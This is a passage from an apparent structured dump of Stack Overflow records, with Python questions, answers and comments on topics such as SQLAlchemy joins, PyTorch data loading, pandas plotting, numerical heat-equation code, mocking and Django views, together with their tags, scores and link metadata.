has text: Try this: `x[[1,2]]`

http://stackoverflow.com/q/49455617
type: UnansweredQuestion
tagged with: python
has body: I have a python process with a loop : for i in range(1, 100000) : vv = get_biglist( 10000 ) .... For some reasons, interpreter memory keeps increasing. Is there a way to contain memory size or to free memory to the OS ?
has comment: http://stackoverflow.com/comment/85914163
has comment: http://stackoverflow.com/comment/85914343
score: 0
answer count: 1
has comment: http://stackoverflow.com/comment/85922651
has answer: http://stackoverflow.com/a/49475535
has title: How to free memory with python garbage collection with list
type: Question

http://stackoverflow.com/comment/90217400
type: Comment
type: QuestionComment
has text: Thanks, I was using an older version at that time. Now it is working fine.
score: 0
comment on: http://stackoverflow.com/q/49457012

http://stackoverflow.com/comment/86016733
type: Comment
type: QuestionComment
has text: First reference points to django sample app.In the code (https://github.com/google/google-api-python-client/blob/master/samples/django_sample/plus/views.py#34) we can see it redirects a request to get user consent, which is not desired. 2nd link is interesting "server to server" is what is needed. All goes well (but ignoring the G suite part) incl "Preparing to make an authorized API call". I have the "credentials" object. What's next to access a google calendar now? The "credentials" object is not the same type as the one mentioned here:https://developers.google.com/calendar/quickstart/python
score: 0
comment on: http://stackoverflow.com/q/49480930

http://stackoverflow.com/comment/85945807
has text: For digitization of heatmap, You can refer to [this answer](https://stackoverflow.com/questions/30961464/saving-heatmap-using-pylab)
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49471502
score: 0

http://stackoverflow.com/comment/85971543
type: Comment
has text: @denfromufa , Thank you. my environment is win 10 Chinese version. So it is possible. I am digging out. finger crossed.
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/49460633

http://stackoverflow.com/comment/85900062
has text: @Martineau I just mean choosing arbitrary values.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49446971
score: 0

http://stackoverflow.com/comment/86065604
type: Comment
score: 0
comment on: http://stackoverflow.com/q/49515180
type: QuestionComment
has text: No, I meant that instead of `b.id = 101` do `b.sid = 101`. Don't go changing anything. That's not a bug. You cannot have a primary key without a default and not give it a value.

http://stackoverflow.com/comment/85920712
comment on: http://stackoverflow.com/a/49458812
score: 0
type: Comment
type: AnswerComment
has text: Thanks for the feed back Arun. Nothing is working.... I do get a lot of warnings when I run the install. All asking me to move to a new version of python. Which I can not do because the software I support is on 2.7

http://stackoverflow.com/a/49518785
answers question: http://stackoverflow.com/q/49518515
type: AcceptedAnswer
score: 1
has body: You would need to make sure a channel is an expected parameter in the command definition. This code creates a command for the bot called 'test' that expects an object of the discord.Channel class to be passed as a parameter: bot.command() async def test(channel: discord.Channel): You could then get the name and id using channel.name and channel.id, respectively.
downvote count: 0
type: Answer
upvote count: 1
accepted answer of: http://stackoverflow.com/q/49518515

http://stackoverflow.com/q/49593892
tagged with: firefox-addon-webextensions
type: UnansweredQuestion
score: 0
has comment: http://stackoverflow.com/comment/86195546
tagged with: http
has comment: http://stackoverflow.com/comment/86195540
has body: I have a firefox/chrome web extension. Upon clicking the extension's button, I want to extract a string from the source code of a URL that is not the current active tab's URL. (Source code = the html file). According to this post: Get the source code of a URL using JavaScript it is impossible to get the source code of an arbitrary URL absent setting up a server. As such, I have used Amazon Web Services to set up an Nginx server. However, I'm a little confused on what to do from here. I've already written a script in python to fetch the source code of a URL and extract the target string from it, so ideally, I would get my extension to run the script on the server and receive the output of the script. How can I do this? Also, the extension will provide a string to the python script, which will form the basis for the URL the python script will extract data from.
linked to: http://stackoverflow.com/q/15302957
tagged with: nginx
tagged with: google-chrome-extension
tagged with: python
has comment: http://stackoverflow.com/comment/86195532
type: Question
has comment: http://stackoverflow.com/comment/86195420
answer count: 0
has title: Get a Firefox/Chrome Web Extension to run a python script on a Nginx server

http://stackoverflow.com/comment/85887428
comment on: http://stackoverflow.com/q/49442780
type: Comment
score: 0
has text: Did you missed `axis=1` in `df.sort_index()`?
type: QuestionComment

http://stackoverflow.com/q/49521591
has title: SQLAlchemy: How to select attributes from a polymorphic child without joining to its parent
type: UnansweredQuestion
upvote count: 5
tagged with: python
has comment: http://stackoverflow.com/comment/86071588
has body: Given a polymorphic class hierarchy: class A(Base): __tablename__ = 'a' a_id = Column('id', Integer, primary_key=True) type = Column(String(255), nullable=False) __mapper_args__ = { 'polymorphic_identity': 'a', 'polymorphic_on': type } class B(A): __tablename__ = 'b' id = Column(Integer, primary_key=True) a_id = Column(Integer, ForeignKey(A.a_id)) __mapper_args__ = { 'polymorphic_identity': 'b', } I don't want B to be forced to join against A if I'm only retrieving an attribute from B, e.g.: session.query(B.id).all(). Furthermore, I've noticed that given a third table of type A with a relationship to B: class C(A): __tablename__ = 'c' id = Column(Integer, primary_key=True) a_id = Column(Integer, ForeignKey(A.a_id)) b_id = Column(Integer, ForeignKey(B.id)) b = relationship(B, foreign_keys=[b_id]) __mapper_args__ = { 'polymorphic_identity': 'c', } If a query needs to join against that table C, e.g.: session.query(B.id).join(C.b).filter(C.id == x).all() the query will automatically join against both C's underlying parent table and B's underlying parent table (that's two joins against A in a single query that doesn't reference any of table A's attributes), making the query needlessly verbose and complicated. Is there any way to configure SQLAlchemy to join against polymorphic parent tables only when their attributes are needed? I've been unable to find anything about this use case in the documentation, but it's hard to believe that a library as flexible as SQLAlchemy would be limiting in this way.
answer count: 0
downvote count: 0
tagged with: sqlalchemy
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/86062982
score: 5

http://stackoverflow.com/q/49583041
accepted answer: http://stackoverflow.com/a/49621430
possible better answer: http://stackoverflow.com/a/49615201
tagged with: neural-network
has answer: http://stackoverflow.com/a/49621430
tagged with: machine-learning
has answer: http://stackoverflow.com/a/49615201
tagged with: python
has title: PyTorch: Variable data has to be a tensor -- data is already as tenors
type: AnsweredQuestion
score: 0
has body: I am trying to load data using pytorch's Dataset and DataLoader classes. I use torch.from_numpyto convert each array to a tensor in the torch Dataset and from looking into the data, each X and y is indeed a tensor # At this point dataset is {'X': numpy array of arrays, 'y': numpy array of arrays } class TorchDataset(torch.utils.data.Dataset): def __init__(self, dataset): self.X_train = torch.from_numpy(dataset['X']) self.y_train = torch.from_numpy(dataset['y']) def __len__(self): return len(self.X_train) def __getitem__(self, index): return {'X': self.X_train[index], 'y': self.y_train[index]} torch_dataset = TorchDataset(dataset) dataloader = DataLoader(torch_dataset, batch_size=4, shuffle=True, num_workers=4) for epoch in range(num_epochs): for X, y in enumerate(dataloader): features = Variable(X) labels = Variable(y) .... However on features = Variable(X) i get: RuntimeError: Variable data has to be a tensor, but got int An example of an X and y in the dataset are: In [1]: torch_dataset[1] Out[1]: {'X': -2.5908 -3.1123 -2.9460 ... -3.9898 -4.0000 -3.9975 -3.0867 -2.9992 -2.5254 ... -4.0000 -4.0000 -4.0000 -2.7665 -2.5318 -2.7035 ... -4.0000 -4.0000 -4.0000 ... ⋱ ... -2.4784 -2.6061 -1.6280 ... -4.0000 -4.0000 -4.0000 -2.2046 -2.1778 -1.5626 ... -3.9597 -3.9366 -3.9497 -1.9623 -1.9468 -1.5352 ... -3.8485 -3.8474 -3.8474 [torch.DoubleTensor of size 1024x1024], 'y': 107 [torch.LongTensor of size 1]} which is why it is very confusing for me that torch thinks X is an int. Any help would be much appreciated - thanks!
tagged with: torch
type: Question
answer count: 2
tagged with: pytorch

http://stackoverflow.com/comment/86193189
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49592150
score: 0
has text: Stack Overflow is a site for programming and development questions. This question appears to be off-topic because it is not about programming or development. See [What topics can I ask about here](http://stackoverflow.com/help/on-topic) in the Help Center. Perhaps [Super User](http://superuser.com/) or [Unix & Linux Stack Exchange](http://unix.stackexchange.com/) would be a better place to ask.

http://stackoverflow.com/comment/86070158
score: 0
type: Comment
has text: So here is the thing. I get username and password from user then I pass it to mastodon api and it will give me access token if user is authenticated. Then I check that whether this user is present in django user table if user is present then I will give access to landing page otherwise I create auth object of the user and then I add user in the table. Now the thing is if user change password on mastodon then i get access token but now the password is changed user is unable to land on landing page because password is mismatch on mastodon and django website.I want solution for that
type: QuestionComment
comment on: http://stackoverflow.com/q/49527921

http://stackoverflow.com/q/49561140
has answer: http://stackoverflow.com/a/49563252
tagged with: plot
type: Question
has body: I build a pivot_table out of a dataframe to get numbers distribution between years across states: data['issue_d'] = pd.to_datetime(data['issue_d']) data['issue_year'] = data['issue_d'].dt.year data_table_years = data.pivot_table(data,index='addr_state', columns='issue_year')['loan_amnt'] And it gives me nice outcome: issue_year 2007.0 2008.0 2009.0 2010.0 2011.0 addr_state AK nan 12,300.00 12,480.56 10,666.67 13,975.98 AL 6,855.56 9,986.25 8,787.95 9,850.96 12,841.84 AR 2,533.33 9,018.75 10,479.17 9,892.19 10,848.63 But when I try to build a lines plot out of it it will build the plot but the Series are the issue_year (I need the addr_state instead so that issue years are on the X axis) But when I try to .plot(x='addr_state') I get KeyError: 'addr_state' Is there a way to set the plot to use the right Series?
has comment: http://stackoverflow.com/comment/86132219
has comment: http://stackoverflow.com/comment/86131434
tagged with: python
has title: KeyError while trying to plot a pandas pivot_table
type: AnsweredQuestion
score: 0
tagged with: pandas
tagged with: pivot-table
accepted answer: http://stackoverflow.com/a/49563252
answer count: 1

http://stackoverflow.com/comment/85901872
type: QuestionComment
has text: @GPPK I have updated the question
score: 0
comment on: http://stackoverflow.com/q/49449405
type: Comment

http://stackoverflow.com/comment/85965344
score: 5
comment on: http://stackoverflow.com/q/49481238
type: Comment
type: QuestionComment
has text: 1) Python's sort is written in C. 2) Python's sort is a TimSort, not a MergeSort. You're comparing apples and oranges.

http://stackoverflow.com/comment/85980573
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49483394
has text: feed the same image all the time and check if the loss gets zero in this simple case. Try other learning rates and check if this makes a difference. For decoding, you can use best path decoding, which is simple and fast: get most probable character per time-step, remove duplicate characters, remove blanks. Looking at the decoded output can really help when debugging such systems.
score: 0

http://stackoverflow.com/q/49542911
has body: I have a web page that has data written into it using Java script like so- &lt;script type="text/javascript"&gt; var so = new SWFObject("x.swf", "main", "100%", "100%", "9"); &lt;!-- write the HTML to the page --&gt; so.write("flashcontent"); &lt;/script&gt; The resulting page looks like this and I want to extract just the names of the folders. Finally I would like to automate this process in such a way that when I provide the URL to this page, the code should automatically read the folder names within this SWF object. Is this possible?
tagged with: swfobject
tagged with: web-scraping
tagged with: python
has title: Read SWFObject from HTML page using Python
has comment: http://stackoverflow.com/comment/86171846
has comment: http://stackoverflow.com/comment/86135056
type: Question
has comment: http://stackoverflow.com/comment/86173280
answer count: 0
tagged with: flash
type: UnansweredQuestion
score: 0

http://stackoverflow.com/q/49463985
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/85931436
has comment: http://stackoverflow.com/comment/85931277
has answer: http://stackoverflow.com/a/49467535
accepted answer: http://stackoverflow.com/a/49467535
downvote count: 0
has comment: http://stackoverflow.com/comment/85930854
tagged with: numerical-methods
answer count: 1
has comment: http://stackoverflow.com/comment/85931263
favorite count: 0
score: 8
upvote count: 8
type: Question
tagged with: numpy
has comment: http://stackoverflow.com/comment/85931646
has comment: http://stackoverflow.com/comment/85933429
has comment: http://stackoverflow.com/comment/85932016
has comment: http://stackoverflow.com/comment/85931441
tagged with: python
has comment: http://stackoverflow.com/comment/85931228
has body: I solve the heat equation for a metal rod as one end is kept at 100 °C and the other at 0 °C as import numpy as np import matplotlib.pyplot as plt dt = 0.0005 dy = 0.0005 k = 10**(-4) y_max = 0.04 t_max = 1 T0 = 100 def FTCS(dt,dy,t_max,y_max,k,T0): s = k*dt/dy**2 y = np.arange(0,y_max+dy,dy) t = np.arange(0,t_max+dt,dt) r = len(t) c = len(y) T = np.zeros([r,c]) T[:,0] = T0 for n in range(0,r-1): for j in range(1,c-1): T[n+1,j] = T[n,j] + s*(T[n,j-1] - 2*T[n,j] + T[n,j+1]) return y,T,r,s y,T,r,s = FTCS(dt,dy,t_max,y_max,k,T0) plot_times = np.arange(0.01,1.0,0.01) for t in plot_times: plt.plot(y,T[t/dt,:]) If changing the Neumann boundary condition as one end is insulated (not flux), then, how the calculating term T[n+1,j] = T[n,j] + s*(T[n,j-1] - 2*T[n,j] + T[n,j+1]) should be modified?
has title: Solving heat equation

http://stackoverflow.com/q/49594160
accepted answer: http://stackoverflow.com/a/49594190
tagged with: mocking
downvote count: 0
tagged with: python
upvote count: 7
favorite count: 0
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/49594190
score: 7
has title: Mock the return value of __call__
has answer: http://stackoverflow.com/a/49594242
possible better answer: http://stackoverflow.com/a/49594242
type: Question
answer count: 2
has body: I'm writing unit tests in Python and I'd like to create a mock function that returns another mock (specified by me) when called. Here's what I've tried: my_mock = Mock() fn = Mock() fn.__call__ = Mock() fn.__call__.return_value = my_mock But when I call fn(), it returns a different mock, probably a default of some description. Any idea what I'm doing wrong? Also, is there a neater way to do this? I'd love to be able to write something like fn = MockFunction(my_mock).

http://stackoverflow.com/q/49538746
has comment: http://stackoverflow.com/comment/86084934
has body: I'm trying to solve "is_even" and "is_odd" function in terms of the other with recursion. I don't understand HOW this function as written ever evaluates to False, or how anything that isn't 0 ever evaluates to True. I double-checked it in teamtreehouse.com workspaces to make sure it works at all, but I can't figure out HOW it works. I understand that it's decrementing through recursion, but I don't understand how is_odd(x) works. If is_odd(x) just negates everything in is_even, why don't all numbers evaluate to True? Or False? def is_even(x): if x == 0: return True else: return is_odd(x-1) def is_odd(x): return not is_even(x) # Does this negate the function of is_even(x)? # Does that negating mean returning False, or sending to else block? # If the negating does automatically sends to the else block # After we get here, do we ever land at True in is_even(x)? # If not, how do we ever land at False? print(is_even(1)) print(is_even(2)) print(is_even(3))
tagged with: python-3.x
has answer: http://stackoverflow.com/a/49538916
has answer: http://stackoverflow.com/a/71754030
answer count: 3
type: UnansweredQuestion
score: 0
has comment: http://stackoverflow.com/comment/86084719
upvote count: 1
downvote count: 1
favorite count: 0
type: Question
tagged with: recursion
has title: Even and Odd numbers with recursion in Python
has answer: http://stackoverflow.com/a/49539119
tagged with: python

http://stackoverflow.com/comment/85993209
comment on: http://stackoverflow.com/q/49494160
type: Comment
type: QuestionComment
score: 0
has text: Especially with openCV, what you are aiming for is mostly impossible. Is openCV installed on the target already?

http://stackoverflow.com/comment/86052306
type: QuestionComment
score: 0
has text: @Aran-Fey : Please see the above example....
type: Comment
comment on: http://stackoverflow.com/q/49522581

http://stackoverflow.com/q/49556911
has comment: http://stackoverflow.com/comment/86121739
tagged with: pandas
tagged with: matplotlib
downvote count: 0
has title: How to set fixed spaces between ticks in maptlotlib
has comment: http://stackoverflow.com/comment/86122886
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/49557773
accepted answer: http://stackoverflow.com/a/49557773
has body: I am preparing a graph of latency percentile results. This is my pd.DataFrame looks like: import pandas as pd import matplotlib.pyplot as plt import numpy as np %matplotlib inline result = pd.DataFrame(np.random.randint(133000, size=(5,3)), columns=list('ABC'), index=[99.0, 99.9, 99.99, 99.999, 99.9999]) I am using this function (commented lines are different pyplot methods I have already tried to achieve my goal): def plot_latency_time_bar(result): ind = np.arange(4) means = [] stds = [] for index, row in result.iterrows(): means.append(np.mean([row[0]//1000, row[1]//1000, row[2]//1000])) stds.append(np .std([row[0]//1000, row[1]//1000, row[2]//1000])) plt.bar(result.index.values, means, 0.2, yerr=stds, align='center') plt.xlabel('Percentile') plt.ylabel('Latency') plt.xticks(result.index.values) # plt.xticks(ind, ('99.0', '99.9', '99.99', '99.999', '99.99999')) # plt.autoscale(enable=False, axis='x', tight=False) # plt.axis('auto') # plt.margins(0.8, 0) # plt.semilogx(basex=5) plt.legend(bbox_to_anchor=(1.05, 1), loc=2, borderaxespad=0.) fig = plt.gcf() fig.set_size_inches(15.5, 10.5) And here is the figure: As you can see bars for all percentiles above 99.0 overlaps and are completely unreadable. I would like to set some fixed space between ticks to have a same space between all of them.
tagged with: python
has answer: http://stackoverflow.com/a/49558078
possible better answer: http://stackoverflow.com/a/49558078
upvote count: 2
type: AnsweredQuestion
score: 2
tagged with: python-2.7
answer count: 2

methods
tags question: http://stackoverflow.com/q/49578953
tags question: http://stackoverflow.com/q/49518517
tags question: http://stackoverflow.com/q/49577766
tag name: methods
tags question: http://stackoverflow.com/q/49504461
type: Tag
tags question: http://stackoverflow.com/q/49589617
tags question: http://stackoverflow.com/q/49552576
tags question: http://stackoverflow.com/q/49545214
tags question: http://stackoverflow.com/q/49591943

http://stackoverflow.com/comment/86061177
has text: Can you show us how you instantiate this class ? Do you have a line like `client_socket = ClientSocket()`
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49527766
score: 1

http://stackoverflow.com/a/49458396
has body: In your homepage view you can override get_context_data and add the groups to the context. class Homepage(TemplateView): template_name = 'index.html' def get_context_data(self, **kwargs): context = super(Homepage, self).get_context_data(**kwargs) context['object_list'] = Group.objects.all() return context In the index.html, you'll have to copy the code from your group_list.html template. To prevent duplication, you could move the code from the content block into a include_groups.html template, then use {% include 'include_groups.html' %} in yourindex.htmlandgroup_list.html` templates. In this case, since your Homepage view is just a template view, you could use a ListView instead. class Homepage(ListView): model = Group template = 'index.html' Whichever option you go for, it's useful to understand how to override get_context_data in class based views.
accepted answer of: http://stackoverflow.com/q/49457538
score: 1
type: AcceptedAnswer
downvote count: 0
upvote count: 1
answers question: http://stackoverflow.com/q/49457538
type: Answer
has comment: http://stackoverflow.com/comment/85920038

http://stackoverflow.com/a/49570521
has comment: http://stackoverflow.com/comment/86172910
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/49546592
score: 0
has body: You can solve that problem, this way: import tkinter as tk from tkinter import * from pymodbus.client.sync import ModbusTcpClient as ModbusClient class GUI: def __init__(self, master): self.master = master #GUI Controls lbl_read_discrete_output = Label(self.master, text="Read boolean register") lbl_read_discrete_output_address = Label(self.master, text="Address:") self.ent_read_discrete_output_address = Entry(self.master) btn_read_discrete_output_address = Button(self.master, text='READ', command=lambda: device.read_discrete_output(int(self.ent_read_discrete_output_address.get()))) self.ent_read_discrete_output_value = Entry(self.master, state='disabled') #GUI Layout lbl_read_discrete_output.grid(column=0, row=6, padx=5, pady=5) lbl_read_discrete_output_address.grid(column=0, row=7, padx=5, pady=5) self.ent_read_discrete_output_address.grid(column=1, row=7, padx=5, pady=5) btn_read_discrete_output_address.grid(column=2, row=7, padx=5, pady=5) self.ent_read_discrete_output_value.grid(column=3, row=7, padx=5, pady=5) self.x=self.ent_read_discrete_output_address.get() print(self.x) device=clientx(self.ent_read_discrete_output_value,self.ent_read_discrete_output_address.get()) class clientx(): def __init__(self,ent,address): self.address=address self.ent=ent def read_discrete_output(self, address): with ModbusClient('127.0.0.1') as client: data = self.client.read_coils(address-1, 1).bits[0:1] if not data[0]: self.ent.config(state="disabled") else: self.ent.config(state="disabled") def main(): #Create GUI object root = tk.Tk() app = GUI(root) root.mainloop() if __name__ == '__main__': main() Let me know if this works.
has comment: http://stackoverflow.com/comment/86177453
type: Answer
answers question: http://stackoverflow.com/q/49546592

http://stackoverflow.com/comment/107091704
type: AnswerComment
comment on: http://stackoverflow.com/a/49540958
score: 1
type: Comment
has text: For me, `pd.DataFrame(np.concatenate(list_arrays))` just caused all my arrays to flatten and be 1 dimensional instead of "row stacking" them. Therefore, I recommend just use `pd.DataFrame(np.row_stack(list_arrays))` . It was a couple seconds on 140k rows x 17k columns

http://stackoverflow.com/q/49443133
upvote count: 1
type: UnansweredQuestion
score: 1
has comment: http://stackoverflow.com/comment/85888066
answer count: 1
has comment: http://stackoverflow.com/comment/85888515
favorite count: 0
type: Question
tagged with: opencv
has body: I've been trying to do a simple task, but unfortunately I'm not able to get it work, I'm starting to think that this can not be done, but since it's too simple I may be the silliest guy: What I want to do is to print some values over a period of time while showing an Image, so if I increase the period of time I will get more values printed. I've tried with while loops, if conditions, and definitions. here is an example: cpt = 0 IAPS_img = "./IAPS_Images/" image = cv2.imread(IAPS_img + "cat.jpg") while(True): cv2.imshow('image',image) cpt += 1 print(cpt) while(True): k = cv2.waitKey(3000) if k == 27: break cv2.destroyAllWindows() I can execute succesfully in cmd using the following comands: cd... python script1.py &amp; cd... python script2.py &amp; but not able in a single script, I'm doing this because instead of printing some numbers I want to take some photos, if I get this done I may be able to do it the way I wanted. I'm open for suggestions: P.D. I'm doing this because I'm not able to get this done in CMD >>>>>> "instead of printing some numbers I want to take some photos at the same time I'm showing an image. Thank you,
tagged with: imread
tagged with: imshow
tagged with: python
has answer: http://stackoverflow.com/a/49445590
has comment: http://stackoverflow.com/comment/85888037
has comment: http://stackoverflow.com/comment/85893200
has comment: http://stackoverflow.com/comment/85928805
has title: Print while cv2.imshow() for a period of time
downvote count: 0

http://stackoverflow.com/comment/86160900
comment on: http://stackoverflow.com/q/49574246
type: QuestionComment
has text: `imshow(mask_contour[:, :, 0])` works fine. `ax.plot(*np.where(contour) )` would work in the sense that you get a line through the points, but not in the order you probably would like to see.
score: 0
type: Comment

http://stackoverflow.com/a/49572528
score: 1
type: AcceptedAnswer
has body: The problem is that title is not an attribute of the h2 tag, but of a tag included in it. So you must first search for &lt;h2&gt; tags, and then subtags having a title attribute: titles = [] h2_list = links = soup.findAll('h2') for h2 in h2_list: titles.extend(h2.findAll(lambda x: x.has_attr('title'))) It works because BeautifulSoup can use functions as search filters.
answers question: http://stackoverflow.com/q/49571805
has comment: http://stackoverflow.com/comment/86169288
type: Answer
accepted answer of: http://stackoverflow.com/q/49571805
downvote count: 0
upvote count: 1

http://stackoverflow.com/comment/86060383
has text: This question is really broad. You can always call the same function. That is not a problem. The problem might come if the functions are sharing data. For that we will need a lot more details.
comment on: http://stackoverflow.com/q/49527400
score: 1
type: Comment
type: QuestionComment

http://stackoverflow.com/q/49545502
answer count: 2
upvote count: 1
downvote count: 1
tagged with: dataset
tagged with: machine-learning
has answer: http://stackoverflow.com/a/49545528
possible better answer: http://stackoverflow.com/a/49545528
has comment: http://stackoverflow.com/comment/86162460
has comment: http://stackoverflow.com/comment/86099721
favorite count: 0
type: Question
tagged with: python-3.x
accepted answer: http://stackoverflow.com/a/49546686
has body: the first part of my Machine learning project is splitting the huge dataset into 3 parts, and then use them as training data sets and test data set. this dataset includes 10milion rows like the following: The above picture is the screenshot of my dataset. I don't want to change the order of columns or rows, so the random doesn't work here. As you can see, they are 6 columns that separated by a tab and includes 10milion of rows. I want to split these rows into 3 separate parts, which the first 3333333.333 rows are my dataset1 and then the second 3333333.333 rows are the dataset2 and the rest is the dataset3. so 3 different text files that the order of components(columns) were not changed. I am using Spyder3 and I wrote the following codes by your help: f = open ( 'pr_data.txt' , 'r') """Reading File""" l = [ map(float,line.strip().split()) for line in f ] no_samples = len(l) data1 = l[0:int(no_samples/3)][:] data2 = l[int(no_samples/3):int(no_samples*2/3)][:] data3 = l[int(no_samples*2/3):no_samples][:] file = open('data1.txt','w') for row in data1: file.writelines(["%s\t" % item for item in row]) file.writelines("\n") file.close() file = open('data2.txt','w') for row in data2: file.writelines(["%s\t" % item for item in row]) file.writelines("\n") file.close() file = open('data3.txt','w') for row in data3: file.writelines(["%s\t" % item for item in row]) file.writelines("\n") file.close() by the above code, the 3 text file is created in the same directory, but the problem is: the precision of numbers is changed. for example, 0's and 1's are changed to 0.0 and 1.0. Also, some of them are not in the same column. Please see the screenshot of the first rows of data1, in the following: Please let me know how correct my code?
tagged with: python
has comment: http://stackoverflow.com/comment/86098970
has comment: http://stackoverflow.com/comment/86098640
has comment: http://stackoverflow.com/comment/86098590
type: AnsweredQuestion
has title: How to split a huge text dataset in python?
score: 0
has answer: http://stackoverflow.com/a/49546686

http://stackoverflow.com/comment/86250770
type: AnswerComment
score: 0
has text: Your guess is true. It wasn't get properly enable. After reenabling I get different error though. Traceback (most recent call last): File "msi-auth.py", line 10, in <module> subscription = next(subscription_client.subscriptions.list()) .....File "/usr/lib/python2.7/site-packages/msrest/paging.py", line 105, in advance_page raise StopIteration("End of paging") StopIteration: End of paging
type: Comment
comment on: http://stackoverflow.com/a/49616411

http://stackoverflow.com/q/49588264
tagged with: django
tagged with: python
has body: I started writing a django app with the help of pipenv. From the CLI I run my tests via pipenv run ./manage.py test. That loads my .env-file puts me inside the virtualenv and executes the test command. Now I want to do the same with a Run configuration in intellij. What I did: Created a new run configuration with "Django tests" base "use specified interpreter" is set to my virtualenv all other options are set to default When I run the tests with that new configuration, I get errors that indicate, that DJANGO_SETTINGS_MODULE wasn't really set. Looking further the command intellij uses for running my tests is /home/user/.virtualenvs/django-proj-wQnnAIXN/bin/python /home/user/.IntelliJIdea2017.3/config/plugins/python/helpers/pycharm/django_test_manage.py test /home/user/dev/django-proj_site How can I tell intellij to run the tests with pipenv run .. so that my .env file is loaded?
upvote count: 6
has title: Run Django tests with pipenv in intellij
has answer: http://stackoverflow.com/a/54656405
answer count: 1
linked to: http://stackoverflow.com/q/45056727
downvote count: 1
favorite count: 0
type: Question
tagged with: pipenv
score: 5
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/94173677
tagged with: intellij-idea

http://stackoverflow.com/a/49581906
downvote count: 0
has comment: http://stackoverflow.com/comment/86437073
type: Answer
answers question: http://stackoverflow.com/q/49581684
has body: Can be done using numerous ways. I prefer using request module as u mentioned that images are accessible over http. import requests img = open('ur_file_name.jpg', 'wb') img.write(requests.get('http://url_of_image_in_remote_server.jpg').content) img.close() This will save the image in current working directory (cwd). If u wish to save images in folder other than cwd then refer to the python's os.path documentation. PS: If the number of images are very high and u r hitting someone elses server, which u dont own, then its advisable to not flood the server with too many requests in short span of time. Its not encouraged (at least I don't).
score: 2
accepted answer of: http://stackoverflow.com/q/49581684
has comment: http://stackoverflow.com/comment/86437094
upvote count: 2
type: AcceptedAnswer

http://stackoverflow.com/comment/86181242
score: 0
comment on: http://stackoverflow.com/q/49586744
has text: Try this in an interactive interpreter: `b'' == ""`.
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/85883219
type: QuestionComment
score: 0
has text: Possible duplicate of [Why is "if not someobj:" better than "if someobj == None:" in Python?](https://stackoverflow.com/questions/100732/why-is-if-not-someobj-better-than-if-someobj-none-in-python)
type: Comment
comment on: http://stackoverflow.com/q/49440510

http://stackoverflow.com/a/49584562
upvote count: 2
answers question: http://stackoverflow.com/q/49583890
type: AcceptedAnswer
has body: You can use DDT module in python to run your tests with parameterized inputs. DDT allows you to multiply a test case by running it with different test data, making it appear as multiple test cases. Something like below should work - import unittest from ddt import ddt, data, unpack class TestOne(unittest.TestCase): def setUp(self): #Initialize your webdriver here @data(('username1', 'pw1'), ('username2', 'pw2')) @unpack def test(self, username, password): register_email.send_keys(username) password.send_keys(password) #asserts if __name__ == '__main__': unittest.main() For more details, check out DDT (Data-Driven/Decorated Tests)
downvote count: 0
type: Answer
accepted answer of: http://stackoverflow.com/q/49583890
score: 2

http://stackoverflow.com/q/49541927
tagged with: jupyter
tagged with: jupyter-notebook
score: 2
type: AnsweredQuestion
tagged with: python-2.7
has body: While installing Jupyter I was almost done until at last something called exception appeared. I am very new to Ubuntu and Python so can't understand these things. pip install jupyter Collecting jupyter Downloading jupyter-1.0.0-py2.py3-none-any.whl Collecting nbconvert (from jupyter) Downloading nbconvert-5.3.1-py2.py3-none-any.whl (387kB) 100% |████████████████████████████████| 389kB 1.3MB/s Collecting ipywidgets (from jupyter) Downloading ipywidgets-7.1.2-py2.py3-none-any.whl (68kB) 100% |████████████████████████████████| 71kB 3.5MB/s Collecting notebook (from jupyter) `enter code here` Downloading notebook-5.4.1-py2.py3-none-any.whl (8.0MB) 100% |████████████████████████████████| 8.0MB 106kB/s Collecting qtconsole (from jupyter) Downloading qtconsole-4.3.1-py2.py3-none-any.whl (108kB) 100% |████████████████████████████████| 112kB 4.9MB/s Collecting jupyter-console (from jupyter) Downloading jupyter_console-5.2.0-py2.py3-none-any.whl Collecting ipykernel (from jupyter) Downloading ipykernel-4.8.2-py2-none-any.whl (108kB) 100% |████████████████████████████████| 112kB 5.2MB/s Collecting pandocfilters&gt;=1.4.1 (from nbconvert-&gt;jupyter) Downloading pandocfilters-1.4.2.tar.gz Collecting entrypoints&gt;=0.2.2 (from nbconvert-&gt;jupyter) Downloading entrypoints-0.2.3-py2.py3-none-any.whl Collecting jinja2 (from nbconvert-&gt;jupyter) Downloading Jinja2-2.10-py2.py3-none-any.whl (126kB) 100% |████████████████████████████████| 133kB 3.2MB/s Collecting testpath (from nbconvert-&gt;jupyter) Downloading testpath-0.3.1-py2.py3-none-any.whl (161kB) 100% |████████████████████████████████| 163kB 2.9MB/s Collecting mistune&gt;=0.7.4 (from nbconvert-&gt;jupyter) Downloading mistune-0.8.3-py2.py3-none-any.whl Collecting nbformat&gt;=4.4 (from nbconvert-&gt;jupyter) Downloading nbformat-4.4.0-py2.py3-none-any.whl (155kB) 100% |████████████████████████████████| 163kB 3.5MB/s Collecting pygments (from nbconvert-&gt;jupyter) Downloading Pygments-2.2.0-py2.py3-none-any.whl (841kB) 1…
upvote count: 3
answer count: 1
accepted answer: http://stackoverflow.com/a/49542168
downvote count: 1
favorite count: 0
type: Question
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/86091295
has title: Exception: error while installing jupyter on Ubuntu
linked to: http://stackoverflow.com/q/27870003
has answer: http://stackoverflow.com/a/49542168
tagged with: python

http://stackoverflow.com/comment/86200084
has text: First read the csv file: data=pd.read_csv() then use the slice operator something like last_20_line= data.index[-20:]
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/49595931
type: Comment

http://stackoverflow.com/a/49469996
has comment: http://stackoverflow.com/comment/85943212
has comment: http://stackoverflow.com/comment/85943181
